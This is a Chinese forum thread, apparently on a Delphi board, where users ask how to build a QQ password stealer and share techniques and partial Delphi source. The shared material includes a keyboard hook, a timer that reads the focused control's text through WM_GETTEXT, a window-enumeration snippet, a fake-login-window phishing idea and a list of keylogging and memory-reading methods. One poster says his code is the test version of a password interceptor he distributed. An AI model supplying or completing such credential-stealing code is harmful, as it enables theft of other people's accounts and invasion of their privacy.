很菜的问题:记录QQ密码的软件是怎样实现的呢?(50分)

  • 主题发起人 主题发起人 e意孤行
  • 开始时间 开始时间
E

e意孤行

Unregistered / Unconfirmed
GUEST, unregistred user!
有谁知道,能说说吗?最好能给出大致的源码。
 
使用Hook(钩子)呀,记录键盘和当前的窗口的输入信息。
 
说详细点吗。
 
监视“QQ用户登陆”窗口,一但出现就把上面输入的密码记录下来。
 
以下是一个按键地勾子:<br>Intercepting The TAB and ENTER Keys<br><br>{the prototype for the new keyboard hook function}<br>&nbsp; function KeyboardHook(nCode: Integer; wParam: WPARAM;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lParam: LPARAM): LResult; stdcall;<br><br>var<br>&nbsp; Form1: TForm1;<br>&nbsp; WinHook: HHOOK; &nbsp; &nbsp;// a handle to the keyboard hook function<br><br>implementation<br><br>{$R *.DFM}<br><br>procedure TForm1.FormCreate(Sender: TObject);<br>begin<br><br>&nbsp; {install the keyboard hook function into the keyboard hook chain}<br>&nbsp; WinHook:=SetWindowsHookEx(WH_KEYBOARD, @KeyboardHook, 0, GetCurrentThreadID);<br>end;<br><br>procedure TForm1.FormDestroy(Sender: TObject);<br>begin<br>&nbsp; {remove the keyboard hook function from the keyboard hook chain}<br>&nbsp; UnhookWindowsHookEx(WinHook);<br>end;<br><br>function KeyboardHook(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LResult;<br><br>begin<br>&nbsp; {if we can process the hook information...}<br>&nbsp; if (nCode&gt;-1) then<br>&nbsp; &nbsp; {...was the TAB key pressed?}<br>&nbsp; &nbsp; if (wParam=VK_TAB) then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; {if so, output a beep sound}<br>&nbsp; &nbsp; &nbsp; MessageBeep(0);<br><br>&nbsp; &nbsp; &nbsp; {indicate that the message was processed}<br>&nbsp; &nbsp; &nbsp; Result := 1;<br>&nbsp; &nbsp; end<br>&nbsp; &nbsp; else<br>&nbsp; &nbsp; {...was the RETURN key pressed?}<br><br>&nbsp; &nbsp; if (wParam=VK_RETURN) then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; {if so, and if the key is on the up stroke, cause<br>&nbsp; &nbsp; &nbsp; the focus to move to the next control}<br>&nbsp; &nbsp; &nbsp; if ((lParam shr 31)=1) then<br>&nbsp; &nbsp; &nbsp; &nbsp; Form1.Perform(WM_NEXTDLGCTL, 0, 0);<br><br>&nbsp; &nbsp; &nbsp; {indicate that the message was processed}<br>&nbsp; &nbsp; &nbsp; Result := 1;<br>&nbsp; &nbsp; end<br>&nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; {otherwise, indicate that the message was not processed.}<br><br>&nbsp; &nbsp; &nbsp; Result := 0<br>&nbsp; else<br>&nbsp; &nbsp; {we must pass the hook information to the next hook in the chain}<br>&nbsp; &nbsp; Result := CallNextHookEx(WinHook, nCode, wParam, lParam);<br>end;<br>
 
没仔细看过,可不管怎么样,给分。
 
好象是delphi帮助中的一个例子程序
 
其实不做勾子也可以考虑窗口欺骗的,做一个与QQ差不多的界面,让输入QQ号和密码的EDIT与数据库相关联,这样每次输入的QQ号与密码都添加到数据库中了呵呵
 
呵呵!这种软件如果用 Hook 的话就太夸张了吧!?我写过一个 20KB 的 QQ 密码记录工具<br>呵呵!
 
ndyufei朋友,我对这个问题比较感兴趣,我编写过关于qq千夫指的软件,我在网上看到<br>一个朋友用vb做了一个偷qq密码的软件,但是这家伙心太黑,要30元的注册费,而且不肯给原代码<br>,这对我们这些编程爱好者来说,没有原代码的软件,就没有兴趣去研究了,我也一直认为,<br>要实现QQ 密码记录的功能要用到hook。<br>&nbsp; 但是你却能不用hook,就象windows xp,谁也不会想到是它是用basic编写的。<br>所以我想请您能不能把您的代码公布出来 ,或者发到我的信箱里:yz_qingyun@163.com<br>谢谢啦!
 
用INI就可以了<br>
 
主要原理就是监视你的输入,记录下来。<br>一般在后台运行一个隐藏的进程,做消息<br>hook, 发现qq的动作就记录键盘输入。
 
我正在做,做好了,就告诉大家。
 
贴出以前软件发而前的测试代码:在windows 98中有效<br>至于2000和发送到指定的邮箱代码暂不公布!!!<br>《迷你QQ密码截取器 v3.0英雄版》作者:如果你在网上下载,可能软件已无效!当时我定的使用期为一个月……如果你想试用,可以更改系统时间,将时间调为2003-01-15日以前,然后安装软件……就可截取QQ号码和密码……(发信要填写自己的信箱密码,像foxmail和outlook那样),具体可以在软件中设置好!!!<br>注:此软件对于新QQ版本不起作用!!本人也不想再升级……<br>//=================================================================<br>//程序:截取信息:中文内容<br>//制作:春意 delphi制作<br>//注:(请保留以上内容)<br>//=================================================================<br>//所用控件:Button1、Button2、Timer1、Edit1<br>unit Unit1;<br><br>interface<br><br>uses<br>&nbsp; Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<br>&nbsp; Dialogs, StdCtrls, ExtCtrls;<br><br>type<br>&nbsp; TForm1 = class(TForm)<br>&nbsp; &nbsp; Edit1: TEdit;<br>&nbsp; &nbsp; Button1: TButton;<br>&nbsp; &nbsp; Button2: TButton;<br>&nbsp; &nbsp; Timer1: TTimer;<br>&nbsp; &nbsp; procedure FormCreate(Sender: TObject);<br>&nbsp; &nbsp; procedure Timer1Timer(Sender: TObject);<br>&nbsp; &nbsp; procedure Button1Click(Sender: TObject);<br>&nbsp; &nbsp; procedure Button2Click(Sender: TObject);<br>&nbsp; private<br>&nbsp; &nbsp; { Private declarations }<br>&nbsp; public<br>&nbsp; &nbsp; { Public declarations }<br>&nbsp; end;<br><br>var<br>&nbsp; Form1: TForm1;<br><br>implementation<br><br>{$R *.dfm}<br><br>procedure TForm1.FormCreate(Sender: TObject);<br>begin<br>&nbsp; &nbsp; Button1.Caption := '开始';<br>&nbsp; &nbsp; Button2.Caption := '停止';<br>&nbsp; &nbsp; Timer1.Interval := 100;<br>&nbsp; &nbsp; Timer1.Enabled := false;<br>end;<br><br>procedure TForm1.Timer1Timer(Sender: TObject); //<br>var<br>&nbsp; &nbsp; hwndfore,hwndfocus:hwnd; //窗口、控件句柄<br>&nbsp; &nbsp; dwThreadid:DWORD;//线程、风格<br>&nbsp; &nbsp; content:array[0..255]of char;<br>begin<br>&nbsp; &nbsp; Timer1.Enabled := False;<br>&nbsp; &nbsp; hwndfore := getforegroundwindow();<br>&nbsp; &nbsp; dwThreadid := getwindowthreadprocessid(hwndfore,nil);<br>&nbsp; &nbsp; attachThreadinput(Getcurrentthreadid(),dwThreadid,true);<br>&nbsp; &nbsp; hwndfocus := getfocus();<br>&nbsp; &nbsp; sendmessage(hwndfocus,WM_GETTEXT,100,LongInt(@content));<br>&nbsp; &nbsp; //判断,密码框除外<br>&nbsp; &nbsp; Edit1.Text :=content;<br>&nbsp; &nbsp; Timer1.Enabled := true;<br>end;<br><br>procedure TForm1.Button1Click(Sender: TObject);<br>begin<br>&nbsp; &nbsp; Timer1.Enabled := true;<br>end;<br><br>procedure TForm1.Button2Click(Sender: TObject);<br>begin<br>&nbsp; &nbsp; Timer1.Enabled := false;<br>end;<br><br>end.<br><br>
 
据说用SENDMESSAGE可以实现,我也在研究这类软件我搞了一段代码,可惜不太明白<br>program Project1;<br>{$APPTYPE CONSOLE}<br>uses Windows,SysUtils,Messages;<br>const<br>&nbsp; &nbsp; CRLF=#13#10;<br>var<br>&nbsp; &nbsp; hwnd,hw,hs:integer; <br>&nbsp; &nbsp; sbuf:array[0..256] of char; <br>BEGIN<br>&nbsp; &nbsp; &nbsp; &nbsp; hwnd:=Getwindow(hwnd,GW_HWNDFIRST); <br> hwnd:=Getwindow(hwnd,GW_HWNDNEXT); <br>//取得用户名 <br> hwnd:=Getwindow(hwnd,GW_HWNDNEXT); <br> hw:=GetWindowTextLength(hwnd); <br> hs:=integer(@sbuf); <br> sendmessage(hwnd,wm_gettext,100,hs); <br> Writeln('&gt;:'+strpas(sbuf)+CRLF); <br><br>END.<br>有知道如何指定要取密码的程序也就是QQ呢?<br>如何指定要截获的输入框呢?<br>对此类问题有兴趣的朋友加426489这个QQ群,我们一起研究一下
 
获取QQ密码框句柄,用wm_gettext获取密码。用getwindow获取密码框下一个句柄,这个句柄就是号码框句柄
 
用个全局钩子呀!!!
 
我想,获得登陆帐号和密码有几种方法:<br>1.按键钩子,记录下所有按键消息,如果加上判断当前窗口就更好<br>2.句柄型,监视系统,当点登陆窗口上的按钮,取得该窗体上的edit控件的内容<br>3.取内存,深入分析,得知某特定版本qq(或其他游戏)存放密码串的内存位置....<br>
 
说得不错,<br>http://expert.csdn.net/Expert/topic/2298/2298878.xml?temp=.5769312<br><br>csdn的帖子,不错,是QQ的。
 
后退
顶部